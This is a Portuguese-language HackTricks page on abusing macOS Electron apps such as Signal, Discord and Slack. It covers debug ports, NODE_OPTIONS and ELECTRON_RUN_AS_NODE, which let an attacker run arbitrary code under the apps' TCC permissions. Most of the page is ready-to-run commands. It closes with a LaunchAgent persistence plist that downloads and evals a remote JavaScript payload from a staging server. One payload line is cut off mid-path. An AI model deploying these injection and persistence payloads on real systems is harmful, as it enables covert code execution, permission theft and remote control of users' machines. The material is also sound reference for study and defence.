hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

5.6 KiB

Injeção de Aplicações Electron no macOS

O código JS de um aplicativo Electron não é assinado, então um invasor pode mover o aplicativo para um local gravável, injetar código JS malicioso e lançar esse aplicativo e abusar das permissões TCC.

No entanto, a permissão kTCCServiceSystemPolicyAppBundles é necessária para modificar um aplicativo, portanto, por padrão, isso não é mais possível.

Inspeção de Aplicações Electron

De acordo com isto, se você executar um aplicativo Electron com flags como --inspect, --inspect-brk e --remote-debugging-port, uma porta de depuração será aberta para que você possa se conectar a ela (por exemplo, do Chrome em chrome://inspect) e você poderá injetar código nele ou até mesmo lançar novos processos.
Por exemplo:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Observe que agora as aplicações Electron fortalecidas com RunAsNode desativado irão ignorar os parâmetros do node (como --inspect) quando iniciadas, a menos que a variável de ambiente ELECTRON_RUN_AS_NODE seja definida.

No entanto, ainda é possível usar o parâmetro do electron --remote-debugging-port=9229, mas a carga útil anterior não funcionará para executar outros processos. {% endhint %}

NODE_OPTIONS

{% hint style="warning" %} Essa variável de ambiente só funcionará se a aplicação Electron não tiver sido adequadamente fortalecida e estiver permitindo isso. Se fortalecida, você também precisará usar a variável de ambiente ELECTRON_RUN_AS_NODE. {% endhint %}

Com essa combinação, você pode armazenar a carga útil em um arquivo diferente e executar esse arquivo:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

ELECTRON_RUN_AS_NODE

De acordo com a documentação, se essa variável de ambiente for definida, ela iniciará o processo como um processo Node.js normal.

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

Como proposto aqui, você pode abusar dessa variável de ambiente em um plist para manter a persistência:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥